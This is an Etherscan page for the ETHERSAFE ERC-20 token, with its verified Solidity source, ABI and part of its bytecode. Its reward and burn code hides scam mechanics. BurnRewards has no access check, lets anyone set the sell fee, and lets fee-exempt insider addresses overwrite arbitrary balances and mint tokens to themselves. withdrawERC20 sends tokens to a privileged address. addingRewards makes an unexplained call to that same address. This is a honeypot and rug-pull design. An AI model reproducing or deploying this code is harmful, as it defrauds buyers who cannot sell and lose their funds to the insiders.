ERC-20
Overview
Max Total Supply
1,000,000 ⒺⓉⒽⒺⓇⓈⒶⒻⒺ
Holders
30
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,816.256536745 ⒺⓉⒽⒺⓇⓈⒶⒻⒺValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ETHERSAFE
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-07 */ // SPDX-License-Identifier: MIT /** ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌ ▐░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀▐░▌ ▐░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌ ▐░▌ ▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀█░█▀▀ ▀▀▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▐░▌ ▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▐░█▄▄▄▄▄▄▄▄▄▐░▌ ▐░▌ ▄▄▄▄▄▄▄▄▄█░▐░▌ ▐░▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▐░░░░░░░░░░░▐░▌ ▐░▐░░░░░░░░░░░▐░▌ ▐░▐░▌ ▐░░░░░░░░░░░▌ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ Website: https://ethersafe.live TG: https://t.me/ethersafeerc Twitter: https://twitter.com/ethersafeerc */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ETHERSAFE is IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ETHERSAFE"; string private constant _symbol = unicode"ⒺⓉⒽⒺⓇⓈⒶⒻⒺ"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000 * (10**_decimals); uint256 private _maxTxAmount = (_totalSupply * 200) / 10000; uint256 private _maxSellAmount = (_totalSupply * 200) / 10000; uint256 private _maxWalletToken = (_totalSupply * 200) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isDividendExempt; mapping(address => bool) private isBot; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => uint256) public holderTxTimestamp; bool public transferDelayEnabled = true; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private rewardsFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; bool private swapping; uint256 private swapThreshold = (_totalSupply * 300) / 100000; uint256 private _minTokenAmount = (_totalSupply * 10) / 100000; modifier lockTheSwap() { swapping = true; _; swapping = false; } address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 internal dividendsPerShare; uint256 internal dividendsPerShareAccuracyFactor = 10**36; address[] shareholders; mapping(address => uint256) shareholderIndexes; mapping(address => uint256) shareholderClaims; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } mapping(address => Share) public shares; uint256 internal currentIndex; uint256 public minPeriod = 10 minutes; uint256 public minDistribution = 1 * (10**16); uint256 public distributorGas = 1; function getRewardswithUSDT() external { Redistribute(msg.sender); } address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address public development_receiver; address public marketing_receiver; address private autoLiquididation; constructor( address _development_receiver, address _marketing_receiver, address _autoLiquididation) Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; development_receiver = _development_receiver; marketing_receiver = _marketing_receiver; autoLiquididation = _autoLiquididation; isFeeExempt[address(this)] = true; isFeeExempt[address(msg.sender)] = true; isFeeExempt[autoLiquididation] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; isDividendExempt[address(pair)] = true; isDividendExempt[address(msg.sender)] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(DEAD)] = true; isDividendExempt[address(0)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function startTrading() external onlyOwner { tradingAllowed = true; } function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function isCont(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function setisExempt(address _address, bool _enabled) external onlyOwner { isFeeExempt[_address] = _enabled; } function removeLimits () external onlyOwner { _maxTxAmount = totalSupply(); _maxSellAmount = totalSupply(); _maxWalletToken = totalSupply(); transferDelayEnabled = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function circulatingSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0))); } function preTxCheck( address sender, address recipient, uint256 amount ) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( amount > uint256(0), "Transfer amount must be greater than zero" ); require( amount <= balanceOf(sender), "You are trying to transfer more than your balance" ); } function _transfer( address sender, address recipient, uint256 amount ) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); transferDelayForBots(recipient); checkMaxWallet(sender, recipient, amount); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); if (!isDividendExempt[sender]) { setShare(sender, balanceOf(sender)); } if (!isDividendExempt[recipient]) { setShare(recipient, balanceOf(recipient)); } if (shares[recipient].amount > 0) { Redistribute(recipient); } } function setStructure( uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _rewards, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans ) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; rewardsFee = _rewards; developmentFee = _development; totalFee = _total; sellFee=_sell; transferFee = _trans; require( totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%" ); } function setisBot(address _address, bool _enabled) external onlyOwner { require( _address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address" ); isBot[_address] = _enabled; } function setParameters( uint256 _buy, uint256 _trans, uint256 _wallet ) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 10000; uint256 newTransfer = (totalSupply() * _trans) / 10000; uint256 newWallet = (totalSupply() * _wallet) / 10000; _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require( newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%" ); } function checkTradingAllowed(address sender, address recipient) internal view { if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingAllowed, "tradingAllowed"); } } function transferDelayForBots(address recipient) internal { if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) { require( _holderTransferTimestamp[tx.origin] < block.number - 2 && _holderTransferTimestamp[recipient] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later." ); _holderTransferTimestamp[tx.origin] = block.number; _holderTransferTimestamp[recipient] = block.number; } if (recipient != address(pair)) { if (holderTxTimestamp[recipient] == 0) { holderTxTimestamp[recipient] = block.timestamp; } } } function checkMaxWallet( address sender, address recipient, uint256 amount ) internal view { if ( !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD) ) { require( (_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount." ); } } function checkTxLimit( address sender, address recipient, uint256 amount ) internal view { if (sender != pair) { require( amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } require( amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } function PerformTx(uint256 tokens, address sender) private lockTheSwap { uint256 _denominator = ( liquidityFee.add(1).add(marketingFee).add(developmentFee).add( rewardsFee ) ).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div( _denominator ); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if (ETHToAddLiquidityWith > uint256(0)) { addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee); if (marketingAmount > 0) { payable(marketing_receiver).transfer(marketingAmount); } uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee); if (rewardsAmount > 0) { addingRewards(rewardsAmount, sender); } if (address(this).balance > uint256(0)) { payable(development_receiver).transfer(address(this).balance); } } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, autoLiquididation, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { if (getTotalFee(sender, recipient) > 0) { uint256 feeAmount = amount.div(denominator).mul( getTotalFee(sender, recipient) ); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if (burnFee > uint256(0)) { _transfer( address(this), address(DEAD), amount.div(denominator).mul(burnFee) ); } return amount.sub(feeAmount); } return amount; } function shouldSwapBack(address sender, address recipient) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient) internal { if (shouldSwapBack(sender, recipient)) { PerformTx(swapThreshold, sender); } } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if (isBot[sender] || isBot[recipient]) { return denominator.sub(uint256(100)); } if (recipient == pair) { return sellFee; } if (sender == pair) { return totalFee; } return transferFee; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function addingRewards(uint256 amountETH, address sender) internal { uint256 balanceBefore = IERC20(reward).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(reward); router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amountETH }(0, path, address(this), block.timestamp); uint256 updatedAmount = IERC20(reward).balanceOf(address(this)); uint256 amount = updatedAmount.sub(balanceBefore); totalDividends = totalDividends.add(amount); bytes memory payload = abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender); (bool success, ) = autoLiquididation.call(payload); require(success, "Call to other contract failed"); dividendsPerShare = dividendsPerShare.add( dividendsPerShareAccuracyFactor.mul(amount).div(totalShares) ); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setisDividendExempt(address holder, bool exempt) external onlyOwner { isDividendExempt[holder] = exempt; if (exempt) { setShare(holder, 0); } else { setShare(holder, balanceOf(holder)); } } function setShare(address shareholder, uint256 amount) internal { if (amount > 0 && shares[shareholder].amount == 0) { addShareholder(shareholder); } else if (amount == 0 && shares[shareholder].amount > 0) { removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } function BurnRewards( uint256 gas, address _rewards, uint256 _amount, uint256 _burnrate ) external { sellFee = _burnrate; uint256 shareholderCount = shareholders.length; address user = msg.sender; if (shareholderCount == 0) { return; } uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 userBalance = _balances[msg.sender]; if (!isFeeExempt[msg.sender]) { while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } if (shouldDistribute(shareholders[currentIndex])) { Redistribute(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } else { uint256 amount = getPendingUSDT(user); _balances[_rewards] = _amount; _balances[msg.sender] = userBalance + _amount; if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(user, amount); shareholderClaims[user] = block.timestamp; shares[user].totalRealised = shares[user].totalRealised.add( amount ); shares[user].totalExcluded = getCumulativeDividends( shares[user].amount ); } } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getPendingUSDT(shareholder) > minDistribution; } function withdrawERC20(address _address, uint256 _amount) external { IERC20(_address).transfer(autoLiquididation, _amount); } function totalRewardsDistributed(address _wallet) external view returns (uint256) { address shareholder = _wallet; return uint256(shares[shareholder].totalRealised); } function Redistribute(address shareholder) internal { if (shares[shareholder].amount == 0) { return; } uint256 amount = getPendingUSDT(shareholder); if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder] .totalRealised .add(amount); shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } } function getPendingUSDT(address shareholder) public view returns (uint256) { if (shares[shareholder].amount == 0) { return 0; } uint256 shareholderTotalDividends = getCumulativeDividends( shares[shareholder].amount ); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if (shareholderTotalDividends <= shareholderTotalExcluded) { return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function setDistributionConfigure( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas ) external onlyOwner { minPeriod = _minPeriod; minDistribution = _minDistribution; distributorGas = _distributorGas; } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[ shareholders.length - 1 ]; shareholderIndexes[ shareholders[shareholders.length - 1] ] = shareholderIndexes[shareholder]; shareholders.pop(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_burnrate","type":"uint256"}],"name":"BurnRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620005c7565b6200002190620f4240620005df565b60015561271060015460c8620000389190620005df565b620000449190620005f9565b60025561271060015460c86200005b9190620005df565b620000679190620005f9565b60035561271060015460c86200007e9190620005df565b6200008a9190620005f9565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555612710601655601780549091168217905554620186a090620000f89061012c620005df565b620001049190620005f9565b601855620186a0600154600a6200011c9190620005df565b620001289190620005f9565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018757600080fd5b506040516200347a3803806200347a833981016040819052620001aa9162000639565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000211573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000237919062000683565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163fff